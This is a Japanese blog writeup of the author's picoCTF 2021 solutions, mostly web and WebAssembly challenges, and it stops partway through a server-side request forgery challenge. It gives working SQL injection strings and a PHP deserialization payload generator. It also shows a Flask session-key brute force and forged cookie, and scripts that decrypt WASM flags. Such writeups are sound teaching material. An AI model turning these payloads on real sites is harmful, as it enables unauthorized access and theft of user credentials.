Satoooonの物置

雑多に色々と何かをしている

picoCTF 2021 Writeup

picoCTF 2021にmisoさんとd4wnin9さんと共にPui-Pui-CTFerとして参加し、世界11位&日本1位という結果でした。

自分が解いた問題についてWriteupを書いていきます。

Web Exploitation

Ancient History [10 points]

ブラウザで開くと、新規タブで開いたにも関わらずブラウザのバックボタンが有効になっていました。試しに何回か戻ってみると、URLの末尾に?}, ?e, ?bとつくようになりました。バックするごとに後ろからフラグを得られるようです。JSで自動化してみてもうまく動かなかったので、ソースコードを読んでみます。難読化されていましたが、フラグが一文字ずつ書かれているのが見えたので正規表現(.*/index.html\?(.).*)で適当に復元します。

picoCTF{th4ts_k1nd4_n34t_a1ac6cbe}

GET aHEAD [20 points]

Choose RedChoose Blueの二つのボタンがあります。ソースコードを見てみると、Redの方はindex.phpGET、Blueの方はindex.phpPOSTリクエストを送っているようです。

誘導が無く少し詰まりましたが、HTTPメゾッドの問題だろうと思って調べてみるとHEADメゾッドというものがあるのを知りました。

HEADメゾッドでリクエストしてみると、レスポンスヘッダにフラグが書かれていました。

picoCTF{r3j3ct_th3_du4l1ty_6ef27873}

Cookies [40 points]

サイト主の好きなクッキーを調べられるサイト?みたいです。とりあえず誘導通りsnickerdoodleと入れてみるとI love snickerdoodle cookies!という結果と同時にThat is a cookie! Not very special though...と返ってきました。specialなcookieを当てないといけないようです。

タイトルから推測してブラウザのCookieを見てみると、nameというCookie0が入っていました。これを試しに1にして再度読み込むと、今度はI love chocolate chip cookies!という結果が帰ってきました。これを使ってspecialなcookieブルートフォースで見つけられそうです。

Burp Suiteをこの前入れたので試しにIntruder機能を使ってブルートフォースをしてみると、name=18でフラグが得られました。これくらいなら多分Pythonの方が早いです。

picoCTF{3v3ry1_l0v3s_c00k135_bb3b3535}

Scavenger Hunt [50 points]

HTMLとCSSに二つのフラグの断片がありました。

JSを見ると、How can I keep Google from indexing my website?と書かれていました。翻訳にかけると、「Googleが自分のウェブサイトをインデックスに登録しないようにするにはどうすればよいですか?」とのことです。Googlerobots.txtの概要にもある通りGoogle 検索結果でウェブページを非表示にすることを目的に robots.txt を使用することは好ましくないことですが、まぁ推測するにrobots.txtでしょう。 robots.txtを見るとフラグの断片と同時にI think this is an apache server... can you Access the next flag?と言われました。適当に.htaccessだとguessします。

.htaccessを見てみると、フラグの断片と同時にI love making websites on my Mac, I can Store a lot of information there.と言われます。Mac.DS_Storeディレクトリに生成されるという話をTwitterのどこかで聞いたことがあったので見てみると、最後のフラグの断片が得られました。

picoCTF{th4ts_4_l0t_0f_pl4c3s_2_lO0k_7a46d25d}

Some Assembly Required 1 [70 points]

WASM問じゃん!と思ってドキドキしながら開くとwasmにそのままフラグが書かれていました(は?)

picoCTF{51e513c498950a515b1aab5e941b2615}

It is my Birthday [100 points]

MD5ハッシュが衝突した二枚のPDFを送信すればフラグが得られるようです。適当にネットから拾って貼り付けます。

picoCTF{c0ngr4ts_u_r_1nv1t3d_3d3e4c57}

Some Assembly Required 2 [110 points]

今度はちゃんとxakgK\5cNs((j:l9<mimk?:k;9;8=8?=0?>jnn:j=luと暗号化されています。暗号文が割と印字可能な範囲に収まっていることからそこまで深く暗号化してなさそうなので、CyberChefのMagicに投げました。

picoCTF{ b2d14eaec72c31305075876bff2b5d} (謎にスペースが入っている)

Super Serial [130 points]

ヒントを開くとThe flag is at ../flagと書かれていました。(これはヒントじゃなくて必要な情報だろ...)

開いてみるとログインページですが、何も誘導が無くてかなりの時間詰まっていました。

なんとなしにrobots.txtを開いてみると、Disallow: /admin.phpsと書かれていました。(こういうのやめてくれ...)

admin.phpsにアクセスしても404でした。.phpsについて調べると、phpソースコードにつける拡張子らしいです。

index.phpsにアクセスしてみると、ソースコードが得られました。

<?php
require_once("cookie.php");

if(isset($_POST["user"]) && isset($_POST["pass"])){
    $con = new SQLite3("../users.db");
    $username = $_POST["user"];
    $password = $_POST["pass"];
    $perm_res = new permissions($username, $password);
    if ($perm_res->is_guest() || $perm_res->is_admin()) {
        setcookie("login", urlencode(base64_encode(serialize($perm_res))), time() + (86400 * 30), "/");
        header("Location: authentication.php");
        die();
    } else {
        $msg = '<h6 class="text-center" style="color:red">Invalid Login.</h6>';
    }
}
?>
...

cookie.phpsを読んでみます。

<?php
session_start();

class permissions
{
    public $username;
    public $password;

    function __construct($u, $p) {
        $this->username = $u;
        $this->password = $p;
    }

    function __toString() {
        return $u.$p;
    }

    function is_guest() {
        $guest = false;

        $con = new SQLite3("../users.db");
        $username = $this->username;
        $password = $this->password;
        $stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
        $stm->bindValue(1, $username, SQLITE3_TEXT);
        $stm->bindValue(2, $password, SQLITE3_TEXT);
        $res = $stm->execute();
        $rest = $res->fetchArray();
        if($rest["username"]) {
            if ($rest["admin"] != 1) {
                $guest = true;
            }
        }
        return $guest;
    }

        function is_admin() {
                $admin = false;

                $con = new SQLite3("../users.db");
                $username = $this->username;
                $password = $this->password;
                $stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
                $stm->bindValue(1, $username, SQLITE3_TEXT);
                $stm->bindValue(2, $password, SQLITE3_TEXT);
                $res = $stm->execute();
                $rest = $res->fetchArray();
                if($rest["username"]) {
                        if ($rest["admin"] == 1) {
                                $admin = true;
                        }
                }
                return $admin;
        }
}

if(isset($_COOKIE["login"])){
    try{
        $perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
        $g = $perm->is_guest();
        $a = $perm->is_admin();
    }
    catch(Error $e){
        die("Deserialization error. ".$perm);
    }
}

?>

$perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));にInsecure Deserializationの脆弱性がありそうです。これはpermに既に定義されているクラスまたは定数を読み込ませられることを意味します。

authentication.phpsも読んでみます。

<?php

class access_log
{
    public $log_file;

    function __construct($lf) {
        $this->log_file = $lf;
    }

    function __toString() {
        return $this->read_log();
    }

    function append_to_log($data) {
        file_put_contents($this->log_file, $data, FILE_APPEND);
    }

    function read_log() {
        return file_get_contents($this->log_file);
    }
}

require_once("cookie.php");
if(isset($perm) && $perm->is_admin()){
    $msg = "Welcome admin";
    $log = new access_log("access.log");
    $log->append_to_log("Logged in at ".date("Y-m-d")."\n");
} else {
    $msg = "Welcome guest";
}
?>
...

先程の$perm$log_file../flagにしたaccess_logを読み込ませ、なんとかしてread_logを呼べばフラグを見れそうです。read_logが呼ばれている場所を探すと__toString関数で呼ばれていました。

__toStringが使えそうな場所を探すと、cookie.phpdie("Deserialization error. ".$perm);を見つけました。ここで$permが文字列にキャストされそうです。

<?php
// Your code here!
class access_log
{
    public $log_file;

    function __construct($lf) {
        $this->log_file = $lf;
    }

    function __toString() {
        return $this->read_log();
    }

    function append_to_log($data) {
        file_put_contents($this->log_file, $data, FILE_APPEND);
    }

    function read_log() {
        return file_get_contents($this->log_file);
    }
}

$perm = new access_log("../flag");
// echo serialize($perm);
echo urlencode(base64_encode(serialize($perm)));
?>

このようなスクリプトを作り、出力をCookieloginにセットします。

直接cookie.phpにアクセスしてもうまくいかなかったので、authentication.phpにアクセスしてみるとフラグが出力されました。

picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_c5123066}

Most Cookies [150 points]

from flask import Flask, render_template, request, url_for, redirect, make_response, flash, session
import random
app = Flask(__name__)
flag_value = open("./flag").read().rstrip()
title = "Most Cookies"
cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]
app.secret_key = random.choice(cookie_names)

@app.route("/")
def main():
    if session.get("very_auth"):
        check = session["very_auth"]
        if check == "blank":
            return render_template("index.html", title=title)
        else:
            return make_response(redirect("/display"))
    else:
        resp = make_response(redirect("/"))
        session["very_auth"] = "blank"
        return resp

@app.route("/search", methods=["GET", "POST"])
def search():
    if "name" in request.form and request.form["name"] in cookie_names:
        resp = make_response(redirect("/display"))
        session["very_auth"] = request.form["name"]
        return resp
    else:
        message = "That doesn't appear to be a valid cookie."
        category = "danger"
        flash(message, category)
        resp = make_response(redirect("/"))
        session["very_auth"] = "blank"
        return resp

@app.route("/reset")
def reset():
    resp = make_response(redirect("/"))
    session.pop("very_auth", None)
    return resp

@app.route("/display", methods=["GET"])
def flag():
    if session.get("very_auth"):
        check = session["very_auth"]
        if check == "admin":
            resp = make_response(render_template("flag.html", value=flag_value, title=title))
            return resp
        flash("That is a cookie! Not very special though...", "success")
        return render_template("not-flag.html", title=title, cookie_name=session["very_auth"])
    else:
        resp = make_response(redirect("/"))
        session["very_auth"] = "blank"
        return resp

if __name__ == "__main__":
    app.run()

Cookiesの続きですね。flaskのセッションに格納されているvery_authadminであればフラグが貰えそうです。

flaskのセッションに対する攻撃はhttps://qiita.com/koki-sato/items/6ff94197cf96d50b5d8fが詳しいです。

この問題ではapp.secret_keycookie_namesからランダムに選ばれているところが脆弱性です。これくらいなら総当たりできてしまいます。

総当たりにはflask_unsignを用いると便利です。./cookielistcookie_namesを行ごとに羅列したものです。

❯ flask-unsign --unsign --wordlist ./cookielist -c "eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.YGGXbw._wJ4kA-wLDL-j3TCBxhb9Okfm4k"
[*] Session decodes to: {'very_auth': 'blank'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 28 attemptscadamia
'fortune'

app.secret_keyfortuneであることがわかりました。これでセッションを改ざんできます。

❯ flask-unsign --sign --secret fortune -c "{'very_auth': 'admin'}"
eyJ2ZXJ5X2F1dGgiOiJhZG1pbiJ9.YGGYRg.zuwnqORyZuKfN1LEK1YD8YuYt2Y

これをCookiesessionにセットすればフラグが得られます。

picoCTF{pwn_4ll_th3_cook1E5_25bdb6f6}

Some Assembly Required 3 [160 points]

  (data (i32.const 1024) "\9dn\93\c8\b2\b9A\8b\90\c2\ddc\93\93\92\8fd\92\9f\94\d5b\91\c5\c0\8ef\c4\97\c0\8f1\c1\90\c4\8ba\c2\94\c9\90\00\00")
  (data (i32.const 1067) "\f1\a7\f0\07\ed")

このようにフラグが暗号化されています。本番中どう解いたか覚えてないので今から解きます。

copy_charが処理が複雑で怪しそうです。この関数はJSからcopy_char(input.charCodeAt(i), i)と呼ばれます。

知らない命令が出たらhttps://webassembly.github.io/spec/core/を参考に、変数に名前を付けながら適当に推測していきます。

(func $copy_char (;3;) (export "copy_char") (param $arg1 i32) (param $arg2 i32)
    (local $_global0 i32) (local $const_16 i32) (local $global0-16 i32) (local $index i32) (local $const_4 i32) (local $var7 i32) (local $const_5 i32) (local $var9 i32) (local $var10 i32) (local $var11 i32) (local $const_24 i32) (local $var13 i32) (local $var14 i32) (local $_arg1 i32) (local $var16 i32) (local $var17 i32) (local $var18 i32)
    global.get $global0
    local.set $_global0
    
    i32.const 16
    local.set $const_16
    
    local.get $_global0
    local.get $const_16
    i32.sub
    local.set $global0-16

    local.get $global0-16
    local.get $arg1
    i32.store offset=12
    
    local.get $global0-16
    local.get $arg2
    i32.store offset=8
    
    local.get $global0-16
    i32.load offset=12
    local.set $index
    
    block $label0
      local.get $index
      i32.eqz
      br_if $label0
      
      i32.const 4
      local.set $const_4
      
      local.get $global0-16
      i32.load offset=8
      local.set $_arg2
      
      i32.const 5
      local.set $const_5
      
      local.get $_arg2
      local.get $const_5
      i32.rem_s
      local.set $var9
      
      local.get $const_4
      local.get $var9
      i32.sub
      local.set $var10
      
      local.get $var10
      i32.load8_u offset=1067
      local.set $var11
      
      i32.const 24
      local.set $const_24
      
      local.get $var11
      local.get $const_24
      i32.shl
      local.set $var13
      
      local.get $var13
      local.get $const_24
      i32.shr_s
      local.set $var14
      
      local.get $global0-16
      i32.load offset=12
      local.set $_arg1
      
      local.get $_arg1
      local.get $var14
      i32.xor
      local.set $var16
      
      local.get $global0-16
      local.get $var16
      i32.store offset=12
    end $label0
    
    local.get $global0-16
    i32.load offset=12
    local.set $var17
    
    local.get $global0-16
    i32.load offset=8
    local.set $var18
    
    local.get $var18
    local.get $var17
    i32.store8 offset=1072
    return
  )

適当に解読していった結果がこちらです。

key = b"\xf1\xa7\xf0\x07\xed"
cipher = b"\x9dn\x93\xc8\xb2\xb9A\x8b\x90\xc2\xddc\x93\x93\x92\x8fd\x92\x9f\x94\xd5b\x91\xc5\xc0\x8ef\xc4\x97\xc0\x8f1\xc1\x90\xc4\x8ba\xc2\x94\xc9\x90\x00\x00"

flag = ""
for i, ci in enumerate(cipher):
    c = key[4 - (i % 5)]
    c <<= 24
    c >>= 24
    flag += chr(c ^ cipher[i])

print(flag)

picoCTF{730dc4cbcb8e8eab1ca401b6175ff238}

Web Gauntlet 2 [170 points]

いつものSELECT username, password FROM users WHERE username='$user' AND password='$pass'型のSQLiです。

or and true false union like = > < ; -- /* */ adminがフィルターされ、これらが入るとFiltered!となりログインできません。

結論から言うとSUBSTR関数を使います。$user'||SUBSTR($pass'adm',16,3)||'inとすると、SQL文は

sqlite SELECT username, password FROM users WHERE username=''||SUBSTR(' AND password=''adm',16,3)||'in'

となり、最終的にusername='admin'となります。

picoCTF{0n3_m0r3_t1m3_b55c7a5682db6cb0192b28772d4f4131}

Startup Company [180 points]

登録してログインすると、startup companyに寄付ができるフォームが与えられます。(送信しようとしてもInvalid Captchaと言われる場合があります。これはよくわかりません)

寄付をすると、You're latest contribution: $という部分に前回の寄付額が載ります。

寄付額は数字しか入れられませんが、これはクライアントサイドのみの制限なので適当にHTMLを書き替えれば大丈夫です。

さて、いつも通り'を入力してみるとDatabase error.と怒られました。SQLiでしょう。

ヒントにsqliteと書いてあったので' || (select sqlite_version()) --を入力してみると3.22.0と表示されました。

UNIONを使ってもうまくいかなかったので、サブクエリで情報を得ます。

' || (SELECT group_concat(tbl_name,',') FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%') --を入力してみると、startup_usersと表示されました。このテーブルにフラグがありそうです。

' || (SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='startup_users') --と入力して型を調べると、CREATE TABLE startup_users (nameuser text, wordpass text, money int)と出てきました。wordpassがパスワードっぽいですね。

' || (SELECT group_concat(wordpass,",") FROM startup_users) --と入力すると結果の中にフラグが入ってました。

picoCTF{1_c4nn0t_s33_y0u_107b7785}

ところでこのテーブルには最初にユーザー登録した情報がそのまま入ってるんですよね、つまりSQLiで他の人のパスワードも知れるという...パスワード使いまわしてる人がいないか心配です。

Some Assembly Required 4 [200 points]

check_flag関数が怪しそうですが、今度は処理が複雑だったので流石に本腰入れて解読します。

一回wasmをcに変換してからコンパイルし、それをGhidraで見ると良いというテクニックをどこかで聞いたことがあったので試しにやってみましょう。

...
    local.get $var4
    local.get $var0
    i32.store offset=24
    local.get $var4
    local.get $var1
    i32.store offset=20
    local.get $var4
    i32.load offset=24
...

この時点ではただのアセンブリなのでかなり見づらいですね。

wabtをインストール&ビルドして、wasm2cを使ってcに変換します。

...
  w2c_l4 = w2c_i0;
  w2c_i0 = w2c_l4;
  w2c_i1 = w2c_p0;
  i32_store((&w2c_memory), (u64)(w2c_i0) + 24, w2c_i1);
  w2c_i0 = w2c_l4;
  w2c_i1 = w2c_p1;
  i32_store((&w2c_memory), (u64)(w2c_i0) + 20, w2c_i1);
  w2c_i0 = w2c_l4;
  w2c_i0 = i32_load((&w2c_memory), (u64)(w2c_i0) + 24u);
...

まだアセンブリをそのままCで表現したようなコードですね。これをコンパイルします。

このときヘッダファイルのパスが壊れているのでwabt内の対応するパスに合わせましょう。

また、仮のmain関数を作り、wasm-rt-impl.cを含めてコンパイルするようにしましょう。

コンパイルした実行ファイルをGhidra(私の場合はr2ghidra)で開いてみると、かなり読みやすくなっています。

uint8_t w2c_check_flag(void) {
    _wasm_rt_call_stack_depth = _wasm_rt_call_stack_depth + 1;
    if (500 < _wasm_rt_call_stack_depth) {
        wasm_rt_trap(7);
    }
    iVar2 = _w2c_g0;
    uVar1 = _w2c_g0 - 0x10;
    _w2c_g0 = uVar1;
    // 0x430 = 1072 = input
    i32_store((int64_t)w2c_memory, (uint64_t)uVar1 + 0xc, 0);
    while( true ) {
        // ivar2 - 4 == uvar1 + 0xc 
        iVar6 = i32_load((int64_t)w2c_memory, iVar2 - 4);
        cVar3 = i32_load8_u((int64_t)w2c_memory, iVar6 + 0x430);
        if (cVar3 == '\0') break;
        uVar7 = i32_load((int64_t)w2c_memory, iVar2 - 4);
        cVar3 = i32_load8_u((int64_t)w2c_memory, uVar7 + 0x430);
        i32_store8((int64_t)w2c_memory, (uint64_t)uVar7 + 0x430, (uint64_t)((int32_t)cVar3 ^ 0x14));
        iVar6 = i32_load((int64_t)w2c_memory, iVar2 - 4);
        if (0 < iVar6) {
            iVar6 = i32_load((int64_t)w2c_memory, iVar2 - 4);
            uVar4 = i32_load8_u((int64_t)w2c_memory, iVar6 + 0x42f);
            uVar7 = i32_load((int64_t)w2c_memory, iVar2 - 4);
            uVar5 = i32_load8_u((int64_t)w2c_memory, uVar7 + 0x430);
            i32_store8((int64_t)w2c_memory, (uint64_t)uVar7 + 0x430, (uint64_t)(uint32_t)(int32_t)(char)(uVar5 ^ uVar4))
            ;
        }
        iVar6 = i32_load((int64_t)w2c_memory, iVar2 - 4);
        if (2 < iVar6) {
            iVar6 = i32_load((int64_t)w2c_memory, iVar2 - 4);
            uVar4 = i32_load8_u((int64_t)w2c_memory, iVar6 + 0x42d);
            uVar7 = i32_load((int64_t)w2c_memory, iVar2 - 4);
            uVar5 = i32_load8_u((int64_t)w2c_memory, uVar7 + 0x430);
            i32_store8((int64_t)w2c_memory, (uint64_t)uVar7 + 0x430, (uint64_t)(uint32_t)(int32_t)(char)(uVar5 ^ uVar4))
            ;
        }
        iVar6 = i32_load((int64_t)w2c_memory, iVar2 - 4);
        uVar7 = i32_load((int64_t)w2c_memory, iVar2 - 4);
        cVar3 = i32_load8_u((int64_t)w2c_memory, uVar7 + 0x430);
        i32_store8((int64_t)w2c_memory, (uint64_t)uVar7 + 0x430, (uint64_t)(uint32_t)((int32_t)cVar3 ^ iVar6 % 10));
        iVar6 = i32_load((int64_t)w2c_memory, iVar2 - 4);
        if (iVar6 % 2 == 0) {
            uVar7 = i32_load((int64_t)w2c_memory, iVar2 - 4);
            cVar3 = i32_load8_u((int64_t)w2c_memory, uVar7 + 0x430);
            i32_store8((int64_t)w2c_memory, (uint64_t)uVar7 + 0x430, (uint64_t)((int32_t)cVar3 ^ 9));
        } else {
            uVar7 = i32_load((int64_t)w2c_memory, iVar2 - 4);
            cVar3 = i32_load8_u((int64_t)w2c_memory, uVar7 + 0x430);
            i32_store8((int64_t)w2c_memory, (uint64_t)uVar7 + 0x430, (uint64_t)((int32_t)cVar3 ^ 8));
        }
        iVar6 = i32_load((int64_t)w2c_memory, iVar2 - 4);
        if (iVar6 % 3 == 0) {
            uVar7 = i32_load((int64_t)w2c_memory, iVar2 - 4);
            cVar3 = i32_load8_u((int64_t)w2c_memory, uVar7 + 0x430);
            i32_store8((int64_t)w2c_memory, (uint64_t)uVar7 + 0x430, (uint64_t)((int32_t)cVar3 ^ 7));
        } else {
            iVar6 = i32_load((int64_t)w2c_memory, iVar2 - 4);
            if (iVar6 % 3 == 1) {
                uVar7 = i32_load((int64_t)w2c_memory, iVar2 - 4);
                cVar3 = i32_load8_u((int64_t)w2c_memory, uVar7 + 0x430);
                i32_store8((int64_t)w2c_memory, (uint64_t)uVar7 + 0x430, (uint64_t)((int32_t)cVar3 ^ 6));
            } else {
                uVar7 = i32_load((int64_t)w2c_memory, iVar2 - 4);
                cVar3 = i32_load8_u((int64_t)w2c_memory, uVar7 + 0x430);
                i32_store8((int64_t)w2c_memory, (uint64_t)uVar7 + 0x430, (uint64_t)((int32_t)cVar3 ^ 5));
            }
        }
        iVar6 = i32_load((int64_t)w2c_memory, iVar2 - 4);
        i32_store((int64_t)w2c_memory, (uint64_t)uVar1 + 0xc, iVar6 + 1);
    }
    // uVar1 + 4 == iVar2 - 0xc == j
    i32_store((int64_t)w2c_memory, (uint64_t)uVar1 + 4, 0);
    while( true ) {
        iVar6 = i32_load((int64_t)w2c_memory, iVar2 - 0xc);
        iVar8 = i32_load((int64_t)w2c_memory, iVar2 - 4);
        if (iVar8 <= iVar6) break;
        iVar6 = i32_load((int64_t)w2c_memory, iVar2 - 0xc);
        if (iVar6 % 2 == 0) {
            iVar6 = i32_load((int64_t)w2c_memory, iVar2 - 0xc);
            iVar8 = i32_load((int64_t)w2c_memory, iVar2 - 4);
            if (iVar6 + 1 < iVar8) {
                iVar6 = i32_load((int64_t)w2c_memory, iVar2 - 0xc);
                uVar7 = i32_load8_u((int64_t)w2c_memory, iVar6 + 0x430);
                // uVar1 + 0xb == ivar2 - 5
                i32_store8((int64_t)w2c_memory, (uint64_t)uVar1 + 0xb, (uint64_t)uVar7);
                iVar6 = i32_load((int64_t)w2c_memory, iVar2 - 0xc);
                uVar7 = i32_load8_u((int64_t)w2c_memory, iVar6 + 0x431);
                uVar9 = i32_load((int64_t)w2c_memory, iVar2 - 0xc);
                i32_store8((int64_t)w2c_memory, (uint64_t)uVar9 + 0x430, (uint64_t)uVar7);
                uVar7 = i32_load8_u((int64_t)w2c_memory, iVar2 - 5);
                iVar6 = i32_load((int64_t)w2c_memory, iVar2 - 0xc);
                i32_store8((int64_t)w2c_memory, (uint64_t)(iVar6 + 1) + 0x430, (uint64_t)uVar7);
            }
        }
        iVar6 = i32_load((int64_t)w2c_memory, iVar2 - 0xc);
        i32_store((int64_t)w2c_memory, (uint64_t)uVar1 + 4, iVar6 + 1);
    }
    iVar6 = w2c_strcmp(0x400, 0x430);
    _w2c_g0 = iVar2;
    _wasm_rt_call_stack_depth = _wasm_rt_call_stack_depth - 1;
    return (iVar6 != 0 ^ 0xffU) & 1;
}

これを解読していくとこうなります。

cipher = [
  0x18, 0x6a, 0x7c, 0x61, 0x11, 0x38, 0x69, 0x37, 0x18, 0x09, 0x79, 0x0e, 
  0x68, 0x1b, 0x03, 0x3f, 0x07, 0x13, 0x42, 0x26, 0x60, 0x6d, 0x1b, 0x5d, 
  0x73, 0x04, 0x6c, 0x47, 0x52, 0x35, 0x5d, 0x17, 0x1f, 0x73, 0x33, 0x38, 
  0x40, 0x51, 0x77, 0x57, 0x51, 0x00
]

def check_flag(s):
    i = 0
    while True:
        c3 = s[i]
        if c3 == 0: break
        c3 = s[i]
        if 0 < i:
            u4 = s[i-1]
            u5 = s[i]
            s[i] = u4 ^ u5
        if 2 < i:
            u4 = s[i-3]
            u5 = s[i]
            s[i] = u4 ^ u5
        c3 = s[i]
        s[i] = c3 ^ (i % 10)
        if i % 2 == 0:
            s[i] ^= 9
        else:
            s[i] ^= 8
        if i % 3 == 0:
            s[i] ^= 7
        elif i % 3 == 1:
            s[i] ^= 6
        else:
            s[i] ^= 5
        i += 1
    j = 0
    while True:
        if i <= j: break
        if j % 2 == 0:
            if j + 1 < i:
                tmp = s[j]
                s[j] = s[j+1]
                s[j+1] = tmp
        j += 1
    return s


def decrypt(s):
    for i in range(len(s)-1, -1, -1):
        if i % 2 == 0:
            s[i], s[i+1] = s[i+1], s[i]
    for i in range(len(s)-1, -1, -1):
        if i % 3 == 0:
            s[i] ^= 7
        elif i % 3 == 1:
            s[i] ^= 6
        else:
            s[i] ^= 5

        if i % 2 == 0:
            s[i] ^= 9
        else:
            s[i] ^= 8

        s[i] ^= i % 10

        if 2 < i:
            s[i] ^= s[i-3]

        if 0 < i:
            s[i] ^= s[i-1]
    return s

print(bytes(decrypt(cipher)))

これでフラグが得られそうですが、b"d}w{W@Rou prvp&-q!$p$%r%u!%'-$'prwqpu w8\n"と出力されてしまいました。まだ何か暗号化されているようですが、前回同様CyberChefのMagicに掛けてみると良い感じになりました。

picoCTF{a4dfbd29e50d01f1a513903dfceda44c}

Web Gauntlet 3 [300 points]

前回とフィルタもSQL文も変わりませんが、今回は合計で25文字までしか送信できないようです。

適当にコードゴルフすると、$user'||SUBSTR('admi'$pass,1,4)||'nを送れば25文字以内に収まりました。

picoCTF{k3ep_1t_sh0rt_eb90a623e2c581bcd3127d9d60a4dead}

Bithug [500 points]

GitHubみたいなサービスのソースコードが渡されます。量が多いですが怪しい部分は仲間が探してくれました。

web-api.tsにこう書かれています。

router.post("/api/register", async (req, res) => {
    ...
    // Every user gets their own target to attack. Please do not try to
    // attack someone else's target.
    const targetRepo = new GitManager(`_/${user}.git`);
    await targetRepo.create();
    await targetRepo.initializeReadme(`
## Super Secret Admin Repo

The flag is \`${process.env.FLAG ?? "picoCTF{this_is_a_test_flag}"}\`
`);
    return res.send({});

Bighubにユーザー登録すると、自動で_というユーザーが自分の名前のリポジトリを作りそこのREADME.mdにフラグが書かれるようです。

また、特徴的な機能はaccess.confとwebhookです。

access.confにアクセスを許可するユーザー名を書き、refs/meta/configにpushするとBithug上でそのユーザーがリポジトリにアクセスできるようになります。

また、下の画像のようにリポジトリにpushされた時に走るwebhookを登録できます。

f:id:Satoooon1024:20210331091933p:plain

ブランチ名などをテンプレート機能で埋め込めたり、JSONとPlain Textを選べたりするようです。

webhookの処理はgit-api.tsの後ろの方にあります。

router.post("/:user/:repo.git/webhooks", async (req, res) => {
    if (req.user.kind === "admin" || req.user.kind === "none") {
        return res.status(400).end();
    }

    const { url, body, contentType } = req.body;
    const validationUrl = new URL(url);
    if (validationUrl.port !== "" && validationUrl.port !== "80") {
        throw new Error("Url must go to port 80");
    }
    if (validationUrl.host === "localhost" || validationUrl.host === "127.0.0.1") {
        throw new Error("Url must not go to localhost");
    }

    if (typeof contentType !== "string" || typeof body !== "string") {
        throw new Error("Bad arguments");
    }
    const trueBody = Buffer.from(body, "base64");

    await webhookManager.addWebhook(req.git.repo, req.user.user, url, contentType, trueBody);
    return res.send({});
});
...
router.use("/:user/:repo.git/git-receive-pack", bodyParser.raw({ type: "application/x-git-receive-pack-request", limit: "10mb" }))
router.post("/:user/:repo.git/git-receive-pack", async (req, res) => {
    console.log(req.body.toString("base64"));
    const ref = await req.git.receivePackPost(res, req.body);
    const webhooks = await webhookManager.getWebhooksForRepo(req.git.repo);
    const options = {
        ref,
        branch: ref.startsWith("refs/heads/") ? ref.slice("refs/heads/".length) : undefined,
        user: req.user.kind === "user" ? req.user.user : undefined,
        repo: req.git.repo,
    };

    for (let webhook of webhooks) {
        const url =  formatString(webhook.url, options);
        try {
            const body = Buffer.from(formatString(webhook.body.toString("latin1"), options), "latin1");
            await fetch(url, {
                method: "POST",
                headers: {
                    "Content-Type": webhook.contentType,
                },
                body,
            });
        } catch (e) {
            console.warn("Failed to push webhook", url, e);
        }
    }
});

まず/:user/:repo.git/webhooksを見てみると、webhookに登録するURLはlocalhost以外で、portは80番でなければいけないようです。これはURLクラスを使って判定しているのでバイパスは難しそうです。(というか知らない)

req.user.kindauth-api.tsに定義されていて、ログイン状態だとuser、ログインされておらずlocalhostからリクエストされているとadmin、そうでなければnoneとなります。つまりこのAPIlocalhostからではアクセスできないようです。

また、Content-Typeはstringであることしか制限がないので任意のContent-Typeを入力できます。

次に/:user/:repo.git/git-receive-packを見てみます。git-receive-packを調べると、git pushで送った更新データを受け取る時に使うURLだそうです。

このAPIにはadminの制限が無いので、localhostからでもアクセスできます。しかしContent-Typeが application/x-git-receive-pack-requestである必要があるようです。

ここで、const url = formatString(webhook.url, options);の部分でURLにもテンプレートが使えることがわかります。これは悪用できそうですね。

テンプレートはformatString関数で実装していて、使えるのはbranch(ブランチ名), user(ユーザー名), repo(リポジトリ名)だけのようです。

さて、どう解くかを考えます。まずwebhookでSSRFが使えそうですね。

どうにかしてlocalhostの任意のポートにアクセスできないでしょうか。例えばユーザー名を127.0.0.1:1337で登録してhttp://{{user}}/のようにすれば実現できそうですが、ユーザー名やリポジトリ名にも文字種制限があります。

web-api.tsで登録する時に/^[a-zA-Z_-]{3,}$/にマッチしなければなりません。これでは.:が作れません。

ブランチ名はどうでしょうか。調べてみると、.は使えるけど:は使えないことがわかります。(https://wincent.com/wiki/Legal_Git_branch_names)

どうやって:を作るか悩みましたが、/:user/:repo.git/git-receive-packに送信する内容を直接改ざんすることで違反したブランチ名でpushすることを思いつきました。

リクエストの確認にはrequestsbin.netを使いました。まず、http://requestbin.net/r/e6d4t1qe?{{branch}}というwebhookを登録します。

次にrouter.post("/:user/:repo.git/git-receive-pack")の処理にconsole.log(req.body.toString("base64"));を追加して、どのような文字列を受信しているか調べました。

